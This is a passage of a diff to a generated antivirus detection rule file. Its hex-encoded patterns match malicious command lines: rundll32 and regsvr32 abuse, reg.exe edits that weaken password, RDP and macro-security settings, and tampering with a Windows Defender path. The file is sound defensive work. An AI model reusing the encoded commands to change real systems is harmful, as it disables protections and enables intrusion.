00 65 00 72 00 2e 00 6a 00 6e 00 6c 00 70 00 } //-500 launcher.jnlp + $a_00_153 = {2d 00 2d 00 64 00 61 00 74 00 61 00 2d 00 61 00 73 00 63 00 69 00 69 00 } //-500 --data-ascii + $a_00_154 = {26 00 65 00 63 00 68 00 6f 00 20 00 40 00 69 00 66 00 20 00 6e 00 6f 00 74 00 20 00 65 00 78 00 69 00 73 00 74 00 } //-500 &echo @if not exist + $a_44_155 = {00 00 23 1d 00 21 23 54 45 4c 3a 4c 55 41 3a 54 65 6c 61 6d 6f 6e 2e 4e 65 77 50 72 6f 64 75 63 74 56 65 72 73 69 6f 6e e7 89 e3 ec 0f 80 ea bc 73 ac 3f fe f8 80 1a 67 0b ac 13 da 31 1e 44 80 0b d1 f2 ac 3f 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 2c 00 00 00 98 3a 00 00 bd b9 09 00 0d 15 3e 00 66 09 00 00 64 39 64 37 39 63 35 30 61 66 39 37 00 49 6e 63 6c 75 64 65 73 00 52 65 73 65 61 72 63 68 44 61 74 61 2c 4c 75 61 46 75 6e 63 48 65 6c 70 65 72 2c 42 4d 4c 75 61 4c 69 62 2c 41 70 70 6f 6d 61 6c 79 48 65 6c 70 65 72 73 00 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 17 0d 01 00 00 0a 00 00 00 45 00 00 00 46 40 c0 00 5c 80 80 00 57 80 c0 } //0 + $a_00_156 = {80 17 c0 c0 00 16 80 00 80 85 00 00 00 86 00 41 01 9e 00 00 01 85 00 00 00 86 40 41 01 c0 00 80 00 9c 80 00 01 c5 80 01 00 c6 c0 c1 01 01 01 02 00 40 01 00 01 dc c0 80 01 1a 41 00 00 16 80 00 } //5632 + $a_00_157 = {00 } //17792 + $a_02_158 = {5e 01 00 01 45 41 02 00 46 81 c2 02 80 01 00 02 c1 c1 02 00 01 82 00 00 5c 81 00 02 00 01 80 02 45 41 02 00 46 01 c3 02 80 01 00 02 5c 81 00 01 00 01 80 02 09 00 81 86 45 41 02 00 46 81 c3 02 80 01 00 02 c1 c1 03 00 01 02 04 00 42 02 80 00 5c 81 80 02 5a 41 00 00 16 80 00 80 41 c1 03 00 80 01 00 02 15 81 81 02 09 80 80 88 41 81 04 00 85 41 02 00 86 81 42 03 c0 01 00 02 01 c2 03 00 41 c2 04 00 9c 81 00 02 cb 81 42 03 41 02 05 00 81 42 05 00 dc 81 00 02 80 01 80 03 c5 81 05 00 05 82 01 00 06 c2 45 04 41 02 06 00 80 02 00 03 dc c1 00 02 da 01 00 00 16 80 18 80 1a 02 00 00 16 } //326 + $a_46_159 = {46 04 5a 02 00 00 16 c0 00 80 4a 02 80 00 80 02 00 04 62 42 80 00 00 02 80 04 45 82 06 00 80 02 00 04 5c 02 01 01 16 00 13 80 85 43 02 00 86 83 43 07 c6 43 c6 06 01 c4 06 00 41 04 04 00 82 04 80 00 9c 83 80 02 9a 03 00 00 16 c0 10 80 09 40 47 8e 09 00 02 8f 85 43 02 00 86 c3 47 07 c6 43 c6 06 01 04 08 00 9c 83 80 01 9a 03 00 00 16 00 06 80 c5 43 08 00 00 04 00 07 4a 04 00 02 81 84 } //6144 + $a_c4_160 = {00 01 05 09 00 41 45 09 00 62 44 00 02 dc 83 80 01 da 03 00 00 16 00 00 80 4d 81 c9 02 c5 43 08 00 00 04 00 07 4a 04 80 02 81 c4 09 00 c1 04 0a 00 01 45 0a 00 41 85 0a 00 81 c5 0a 00 62 44 80 02 dc 83 80 01 da 03 00 00 16 00 00 80 4c 01 cb 02 c5 43 02 00 c6 83 c3 07 06 44 c6 06 41 44 0b 00 81 04 04 00 c2 04 80 00 dc 83 80 02 da 03 00 00 16 00 06 80 c5 43 02 00 c6 c3 c7 07 06 44 c6 06 41 84 0b 00 dc 83 80 01 05 44 02 00 06 c4 4b 08 40 04 80 07 81 04 0c 00 1c 04 81 01 16 c0 02 80 05 45 02 00 06 85 43 0a 40 05 80 09 81 45 0c 00 1c 85 80 01 1a 45 00 00 16 40 00 80 4c 81 cc 02 } //8 + $a_16_162 = {00 80 4c 01 cd 02 21 44 00 } //-13120 + $a_fc_163 = {61 82 00 00 16 00 ec 7f 46 02 47 00 5a 42 00 00 16 80 01 80 45 02 00 00 46 02 c1 04 5e 02 00 01 16 80 00 80 45 02 00 00 46 02 c1 04 5e 02 00 01 45 82 01 00 46 c2 c1 04 81 42 0d 00 c0 02 00 02 } //5632 + $a_01_164 = {5a 02 00 00 16 00 00 80 4c 01 cb 02 45 42 08 00 80 02 00 02 ca 02 00 01 01 83 08 00 41 c3 08 00 e2 42 00 01 5c 82 80 01 5a 02 00 00 16 00 00 80 4d 81 c9 02 45 02 00 00 46 82 cd 04 5c 82 80 00 5a 02 00 00 16 c0 02 80 85 c2 0d 00 c1 02 0e 00 06 43 ce 04 9c 82 80 01 9a 02 00 00 16 80 00 80 09 40 47 9d 09 80 82 9d 4c 81 cc 02 c5 42 0f 00 dc 82 80 00 09 c0 02 9e 85 82 05 00 c5 82 01 00 } //-32164 + $a_05_165 = {01 83 0f 00 40 03 00 03 9c c2 00 02 9a 02 00 00 16 c0 07 80 da 02 00 00 16 40 07 80 09 40 c7 9f 06 43 c6 05 1a 03 00 00 16 c0 00 80 0a 03 80 00 40 03 80 05 22 43 80 00 c0 02 00 06 05 83 06 00 40 03 80 05 1c 03 01 01 16 80 03 80 45 04 10 00 86 44 46 08 5c c4 00 01 9a 04 00 00 16 40 02 80 c6 84 50 08 17 00 81 09 16 80 00 80 c1 c4 10 00 da 44 00 00 16 00 00 80 c1 04 11 00 09 c0 84 a0 09 80 84 a2 16 40 00 80 21 83 00 00 16 80 fb 7f 4c 81 cc 02 09 40 01 a3 19 40 01 99 16 40 03 80 05 c3 11 00 40 03 00 00 81 03 12 00 c3 03 80 07 02 04 80 00 1c c3 80 02 85 83 01 00 86 43 52 07 c6 43 ce 04 01 } //-15674 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*0+(#a_00_3 & 1)*96+(#a_00_4 & 1)*116+(#a_00_5 & 1)*110+(#a_00_7 & 1)*115+(#a_00_9 & 1)*99+(#a_00_10 & 1)*105+(#a_00_12 & 1)*115+(#a_00_13 & 1)*114+(#a_00_15 & 1)*112+(#a_00_16 & 1)*107+(#a_00_17 & 1)*110+(#a_00_18 & 1)*48+(#a_00_20 & 1)*101+(#a_00_21 & 1)*58+(#a_00_24 & 1)*115+(#a_00_26 & 1)*52+(#a_00_28 & 1)*5+(#a_00_29 & 1)*5+(#a_00_30 & 1)*5+(#a_00_31 & 1)*5+(#a_00_32 & 1)*5+(#a_00_33 & 1)*5+(#a_00_34 & 1)*5+(#a_00_35 & 1)*5+(#a_00_36 & 1)*5+(#a_00_37 & 1)*5+(#a_00_38 & 1)*5+(#a_00_39 & 1)*5+(#a_00_40 & 1)*5+(#a_00_41 & 1)*5+(#a_00_42 & 1)*5+(#a_00_43 & 1)*5+(#a_00_44 & 1)*5+(#a_00_45 & 1)*5+(#a_00_46 & 1)*5+(#a_00_47 & 1)*-500+(#a_00_48 & 1)*-500+(#a_00_49 & 1)*-500+(#a_00_50 & 1)*-500+(#a_00_51 & 1)*-500+(#a_00_52 & 1)*-500+(#a_00_53 & 1)*-500+(#a_00_54 & 1)*-500+(#a_00_55 & 1)*-500+(#a_00_56 & 1)*-500+(#a_00_57 & 1)*-500+(#a_00_58 & 1)*-500+(#a_00_59 & 1)*-500+(#a_00_60 & 1)*-500+(#a_00_61 & 1)*-500+(#a_00_62 & 1)*-500+(#a_00_63 & 1)*-500+(#a_00_64 & 1)*-500+(#a_00_65 & 1)*-500+(#a_00_66 & 1)*-500+(#a_00_67 & 1)*-500+(#a_00_68 & 1)*-500+(#a_00_69 & 1)*-500+(#a_00_70 & 1)*-500+(#a_00_71 & 1)*-500+(#a_00_72 & 1)*-500+(#a_00_73 & 1)*-500+(#a_00_74 & 1)*-500+(#a_00_75 & 1)*-500+(#a_00_76 & 1)*-500+(#a_00_77 & 1)*-500+(#a_00_78 & 1)*-500+(#a_00_79 & 1)*-500+(#a_00_80 & 1)*-500+(#a_00_81 & 1)*-500+(#a_00_82 & 1)*-500+(#a_00_83 & 1)*-500+(#a_00_84 & 1)*-500+(#a_00_85 & 1)*-500+(#a_00_86 & 1)*-500+(#a_00_87 & 1)*-500+(#a_00_88 & 1)*-500+(#a_00_89 & 1)*-500+(#a_00_90 & 1)*-500+(#a_00_91 & 1)*-500+(#a_00_92 & 1)*-500+(#a_00_93 & 1)*-500+(#a_00_94 & 1)*-500+(#a_00_95 & 1)*-500+(#a_00_96 & 1)*-500+(#a_00_97 & 1)*-500+(#a_00_98 & 1)*-500+(#a_00_99 & 1)*-500+(#a_00_100 & 1)*-500+(#a_00_101 & 1)*-500+(#a_00_102 & 1)*-500+(#a_00_103 & 1)*-500+(#a_00_104 & 1)*-500+(#a_00_105 & 1)*-500+(#a_00_106 & 1)*-500+(#a_00_107 & 1)*-500+(#a_00_108 & 1)*-500+(#a_00_109 & 1)*-500+(#a_00_110 & 1)*-500+(#a_00_111 & 1)*-500+(#a_00_112 & 1)*-500+(#a_00_113 & 1)*-500+(#a_00_114 & 1)*-500+(#a_00_115 & 1)*-500+(#a_00_116 & 1)*-500+(#a_00_117 & 1)*-500+(#a_00_118 & 1)*-500+(#a_00_119 & 1)*-500+(#a_00_120 & 1)*-500+(#a_00_121 & 1)*-500+(#a_00_122 & 1)*-500+(#a_00_123 & 1)*-500+(#a_00_124 & 1)*-500+(#a_00_125 & 1)*-500+(#a_00_126 & 1)*-500+(#a_00_127 & 1)*-500+(#a_00_128 & 1)*-500+(#a_00_129 & 1)*-500+(#a_00_130 & 1)*-500+(#a_00_131 & 1)*-500+(#a_00_132 & 1)*-500+(#a_00_133 & 1)*-500+(#a_00_134 & 1)*-500+(#a_00_135 & 1)*-500+(#a_00_136 & 1)*-500+(#a_00_137 & 1)*-500+(#a_00_138 & 1)*-500+(#a_00_139 & 1)*-500+(#a_00_140 & 1)*-500+(#a_00_141 & 1)*-500+(#a_00_142 & 1)*-500+(#a_00_143 & 1)*-500+(#a_00_144 & 1)*-500+(#a_00_145 & 1)*-500+(#a_00_146 & 1)*-500+(#a_00_147 & 1)*-500+(#a_00_148 & 1)*-500+(#a_00_149 & 1)*-500+(#a_00_150 & 1)*-500+(#a_00_151 & 1)*-500+(#a_00_152 & 1)*-500+(#a_00_153 & 1)*-500+(#a_00_154 & 1)*-500+(#a_44_155 & 1)*0+(#a_00_156 & 1)*5632+(#a_00_157 & 1)*17792+(#a_02_158 & 1)*326+(#a_46_159 & 1)*6144+(#a_c4_160 & 1)*8+(#a_16_162 & 1)*-13120+(#a_fc_163 & 1)*5632+(#a_01_164 & 1)*-32164+(#a_05_165 & 1)*-15674) >=110 + +} +rule _InfrastructureShared_27304{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 50 4d 4c 5f 53 75 73 70 52 75 6e 64 6c 6c 2e 41 00 01 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 01 00 08 00 2e 00 64 00 6c 00 6c 00 fe ff 1c 00 5c 00 70 00 72 00 6f 00 67 } //21283 + $a_00_2 = {66 00 69 00 6c 00 65 00 73 00 fe ff 32 02 72 00 65 00 67 00 73 00 76 00 72 00 33 00 32 00 90 02 } //109 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*109) >=2 + +} +rule _InfrastructureShared_27305{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 09 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 50 4d 4c 5f 53 75 73 70 52 65 67 73 76 72 2e 41 00 04 00 10 00 72 00 65 00 67 00 73 00 76 00 72 00 33 00 32 00 01 00 08 00 20 00 2d 00 73 00 20 00 01 00 08 00 20 00 2f 00 73 00 20 00 fc } //21283 + $a_00_2 = {20 00 fc ff 08 00 20 00 2f 00 75 00 20 00 fc ff 1c 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 66 00 69 00 6c 00 65 00 73 00 fc ff 32 02 72 00 65 00 67 00 73 00 76 00 72 00 33 00 32 00 90 02 a0 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 90 02 10 2e 00 64 00 6c 00 6c 00 90 00 04 00 12 00 6d 00 61 00 76 00 69 00 6e 00 6a 00 65 } //45 + $a_00_4 = {2f 00 49 00 4e 00 4a 00 45 00 43 00 54 00 52 00 55 00 4e 00 4e 00 49 00 4e 00 47 00 } //1 /INJECTRUNNING + $a_08_5 = {00 00 00 00 00 00 00 00 00 00 7a 08 00 00 2c 00 00 00 20 4e 00 00 bd 51 01 00 0d 15 00 00 3c 01 00 00 33 39 62 33 66 66 33 61 36 61 66 32 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 07 1d 00 00 00 05 00 00 00 06 40 40 00 1c 80 80 00 46 80 40 00 85 c0 00 00 86 00 41 01 c0 00 80 00 01 41 01 00 41 81 01 00 82 01 80 00 9c 80 80 } //0 + $a_02_7 = {80 85 c0 00 00 86 00 41 01 c0 00 80 00 01 c1 01 00 41 81 01 00 82 01 80 00 9c 80 80 02 9a 00 00 00 16 80 00 80 85 00 02 00 86 40 42 01 9e 00 00 01 85 00 02 00 86 80 42 01 9e 00 00 01 1e 00 80 00 0b 00 00 00 04 03 00 00 00 62 6d 00 04 21 00 00 00 67 65 74 5f 63 75 72 72 65 6e 74 5f 70 72 6f 63 65 73 73 5f 73 74 61 72 74 75 70 5f 69 6e 66 6f 00 04 0d 00 00 00 63 6f 6d 6d 61 6e 64 5f 6c 69 6e 65 00 04 07 00 00 00 73 74 72 69 6e 67 00 04 05 00 00 00 66 69 6e 64 00 04 05 00 00 00 20 2d 6c 20 00 03 01 00 00 00 00 00 00 00 04 05 00 00 00 20 2d 70 20 00 04 03 00 00 00 6d 70 00 } //5632 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*45+(#a_00_4 & 1)*1+(#a_08_5 & 1)*0+(#a_02_7 & 1)*5632) >=5 + +} +rule _InfrastructureShared_27306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -339766,7 +357301,7 @@ rule _InfrastructureShared_25953{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_25954{ +rule _InfrastructureShared_27307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -339776,7 +357311,123 @@ rule _InfrastructureShared_25954{ ((#a_46_0 & 1)*21283) >=10 } -rule _InfrastructureShared_25955{ +rule _InfrastructureShared_27308{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 0b 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 70 6c 4c 6f 61 64 65 72 2e 43 00 02 00 1a 00 5c 00 63 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 2e 00 65 00 78 00 65 00 00 00 f6 ff 12 00 69 00 6e 00 70 00 75 00 74 00 2e 00 64 00 6c 00 6c } //21283 + $a_12_1 = {20 00 50 00 72 00 69 00 6e 00 74 00 65 00 72 00 73 00 f6 ff 0e 00 20 00 53 00 59 00 53 00 54 00 45 00 4d 00 f6 ff 20 00 2f 00 6e 00 61 00 6d 00 65 00 20 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 f6 ff 12 00 20 00 64 00 65 00 73 00 6b 00 2e 00 63 00 70 00 6c 00 f6 ff 5e 00 4e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 20 00 61 00 6e 00 64 00 20 00 49 00 6e 00 74 00 65 00 72 00 6e 00 65 00 74 00 5c 00 4e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 20 00 61 00 6e 00 64 00 20 00 53 00 68 00 61 00 72 00 69 00 6e 00 67 00 20 00 43 00 65 00 6e 00 74 00 65 00 72 00 f6 ff 16 00 69 00 6e 00 65 00 74 00 63 00 70 00 6c 00 2e 00 63 00 70 00 6c 00 f6 ff 14 00 6b 00 65 00 79 00 6d 00 67 00 72 00 2e 00 64 00 6c 00 6c 00 f6 ff 12 00 6d 00 6d 00 73 00 79 00 73 } //-2560 + $a_00_3 = {f6 ff 28 00 4d 00 61 00 74 00 68 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 50 00 61 00 6e 00 65 00 6c 00 2e 00 63 00 70 00 6c 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 2c 00 00 00 40 9c 00 00 ce 09 00 00 0e 9d 0d 77 e7 39 00 00 50 d7 fe 00 00 03 00 03 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 } //112 + $a_2f_4 = {6f 64 69 66 79 50 61 73 73 77 6f 72 64 53 65 74 74 69 6e 67 2e 41 44 00 03 00 c6 00 72 00 65 00 67 00 2e 00 65 00 78 00 65 00 20 00 61 00 64 00 64 00 } //13166 + $a_00_5 = {6b 00 6c 00 6d 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 5c 00 63 00 75 00 72 00 72 00 65 00 6e 00 74 00 63 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 73 00 65 00 74 00 5c 00 63 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5c 00 6c 00 73 00 61 00 20 00 2f 00 76 00 20 00 6c 00 69 00 6d 00 69 00 74 00 62 00 6c 00 61 00 } //32 klm\system\currentcontrolset\control\lsa /v limitbla + $a_00_6 = {70 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 75 00 73 00 65 00 20 00 2f 00 64 00 20 00 30 00 20 00 2f 00 66 00 20 00 2f 00 74 00 20 00 72 00 65 00 67 00 5f 00 64 00 77 00 6f 00 72 00 64 00 00 00 d7 2a 01 00 03 00 03 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 79 70 61 73 73 4e 65 74 77 6f 72 } //110 + $a_69_7 = {65 73 2e 41 44 00 03 00 f4 00 72 00 65 00 67 00 2e 00 65 00 78 00 65 00 20 00 61 00 64 00 64 00 20 00 68 00 6b 00 6c 00 6d 00 5c 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 63 00 75 00 72 00 72 00 65 00 6e 00 74 00 76 00 } //17515 + $a_00_8 = {73 00 69 00 6f 00 6e 00 5c 00 70 00 6f 00 6c 00 69 00 63 00 69 00 65 00 73 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 20 00 2f 00 76 00 20 00 65 00 6e 00 61 00 62 00 6c 00 65 00 6c 00 69 00 6e 00 6b 00 65 00 64 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6f 00 6e 00 73 00 20 00 2f 00 64 00 20 00 31 00 20 00 2f 00 66 00 20 00 2f 00 } //101 sion\policies\system /v enablelinkedconnections /d 1 /f / + $a_00_9 = {72 00 65 00 67 00 5f 00 64 00 77 00 6f 00 72 00 64 00 00 00 d7 38 01 00 06 00 06 00 02 00 21 23 } //116 + $a_3a_10 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 79 70 61 73 73 52 44 50 53 65 74 74 69 6e 67 2e 41 45 00 03 00 97 02 72 00 65 00 67 00 2e 00 65 00 78 00 65 00 20 00 61 00 64 00 64 00 20 00 90 02 04 68 00 6b 00 6c 00 6d } //19539 + condition: + ((#a_46_0 & 1)*21283+(#a_12_1 & 1)*-2560+(#a_00_3 & 1)*112+(#a_2f_4 & 1)*13166+(#a_00_5 & 1)*32+(#a_00_6 & 1)*110+(#a_69_7 & 1)*17515+(#a_00_8 & 1)*101+(#a_00_9 & 1)*116+(#a_3a_10 & 1)*19539) >=2 + +} +rule _InfrastructureShared_27309{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 64 69 66 79 50 61 73 73 77 6f 72 64 53 65 74 74 69 6e 67 2e 41 44 00 03 00 c6 00 72 00 65 00 67 00 2e 00 65 00 78 00 65 00 20 00 61 00 64 00 64 00 20 00 68 00 6b 00 6c 00 6d 00 5c 00 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=3 + +} +rule _InfrastructureShared_27310{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 79 70 61 73 73 4e 65 74 77 6f 72 6b 44 72 69 76 65 73 2e 41 44 00 03 00 f4 00 72 00 65 00 67 00 2e 00 65 00 78 00 65 00 20 00 61 00 64 00 64 00 20 00 68 00 6b 00 6c 00 6d 00 5c 00 73 00 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=3 + +} +rule _InfrastructureShared_27311{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 79 70 61 73 73 52 44 50 53 65 74 74 69 6e 67 2e 41 45 00 03 00 97 02 72 00 65 00 67 00 2e 00 65 00 78 00 65 00 20 00 61 00 64 00 64 00 20 00 90 02 04 68 00 6b 00 6c 00 6d 00 5c 00 73 00 } //21283 + $a_00_1 = {74 00 77 00 61 00 72 00 65 00 5c 00 70 00 6f 00 6c 00 69 00 63 00 69 00 65 00 73 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 6e 00 74 00 5c 00 74 00 65 00 72 00 6d 00 69 00 6e 00 61 00 6c 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 } //111 tware\policies\microsoft\windows nt\terminal servic + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111) >=6 + +} +rule _InfrastructureShared_27312{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 42 41 4d 61 63 72 6f 42 79 70 61 73 73 2e 41 44 00 03 00 a8 00 72 00 65 00 67 00 2e 00 65 00 78 00 65 00 20 00 61 00 64 00 64 00 20 00 68 00 6b 00 63 00 75 00 5c 00 73 00 6f 00 66 00 74 } //21283 + $a_00_2 = {5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 6f 00 66 00 66 00 69 00 63 00 65 00 5c 00 31 00 34 00 2e 00 30 00 5c 00 77 00 6f 00 72 00 64 00 5c 00 73 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 20 00 2f 00 76 00 20 00 76 00 62 00 61 00 77 00 61 00 72 00 6e 00 69 00 6e 00 67 00 73 } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*114) >=3 + +} +rule _InfrastructureShared_27313{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 65 72 41 74 74 6b 2e 53 41 00 0a 00 0f 02 63 00 6d 00 64 00 90 02 10 2f 00 63 00 90 00 01 00 30 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c } //21283 + condition: + ((#a_46_0 & 1)*21283) >=11 + +} +rule _InfrastructureShared_27314{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 4d 4d 43 2e 41 00 01 00 06 00 6d 00 6d 00 63 00 01 00 27 02 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 6d 00 73 00 63 00 [0-08] 64 00 65 00 6c 00 65 00 74 00 65 00 } //16675 + $a_73_1 = {00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 79 61 6c 4d 6f 75 6e 74 65 64 2e 41 00 01 00 45 02 66 00 73 00 75 00 74 00 69 00 6c 00 90 02 ff 64 00 65 00 76 00 64 00 72 00 76 00 90 02 ff 65 00 6e 00 61 00 62 00 6c 00 65 00 90 02 ff 2f 00 64 00 69 00 73 00 61 00 6c 00 6c 00 6f 00 77 00 41 00 76 00 90 00 00 00 d7 7f 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 4d 4d 43 2e 42 00 01 00 06 00 6d 00 6d 00 63 00 01 00 16 00 2d 00 65 00 6d 00 62 00 65 00 64 00 64 00 69 00 6e 00 67 00 20 00 fe ff 32 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 54 00 } //0 + condition: + ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*0) >=2 + +} +rule _InfrastructureShared_27315{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 79 61 6c 4d 6f 75 6e 74 65 64 2e 41 00 01 00 45 02 66 00 73 00 75 00 74 00 69 00 6c 00 90 02 ff 64 00 65 00 76 00 64 00 72 00 76 00 90 02 ff 65 00 6e 00 61 00 62 00 6c 00 65 00 90 02 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_27316{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 4d 4d 43 2e 42 00 01 00 06 00 6d 00 6d 00 63 00 01 00 16 00 2d 00 65 00 6d 00 62 00 65 00 64 00 64 00 69 00 6e 00 67 00 20 00 fe ff 32 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 } //16675 + $a_00_2 = {4d 00 50 00 5c 00 73 00 62 00 2d 00 73 00 69 00 6d 00 2d 00 74 00 65 00 6d 00 70 00 00 00 d7 90 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 50 4d 4c 5f 53 75 73 70 43 } //84 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*84) >=2 + +} +rule _InfrastructureShared_27317{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 50 4d 4c 5f 53 75 73 70 43 4c 53 49 44 45 78 65 63 2e 41 00 05 00 10 00 76 00 65 00 72 00 63 00 6c 00 73 00 69 00 64 00 04 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 01 00 } //21283 + $a_00_1 = {2d 00 73 00 74 00 61 00 20 00 04 00 0e 00 78 00 77 00 69 00 7a 00 61 00 72 00 64 00 01 00 12 00 } //12 + $a_00_2 = {6e 00 57 00 69 00 7a 00 61 00 72 00 64 00 00 00 d7 f9 00 00 01 00 01 00 02 00 21 23 41 4c 46 3a 54 61 6d 70 65 72 69 6e 67 3a 57 69 6e 33 32 2f 53 75 73 70 4d 6b 6c 69 6e 6b 2e 41 00 01 00 49 02 6d 00 6b 00 6c 00 69 00 6e 00 6b 00 90 02 ff 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 } //82 + $a_00_4 = {6e 00 64 00 65 00 72 00 5c 00 90 00 01 00 7d 02 6d 00 6b 00 6c 00 69 00 6e 00 6b 00 90 02 ff 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 20 00 61 00 64 00 76 00 61 00 6e 00 63 00 65 00 } //102 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*12+(#a_00_2 & 1)*82+(#a_00_4 & 1)*102) >=5 + +} +rule _InfrastructureShared_27318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -339787,26 +357438,41 @@ rule _InfrastructureShared_25955{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*100) >=1 } -rule _InfrastructureShared_25956{ +rule _InfrastructureShared_27319{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 0b 00 21 " + description = 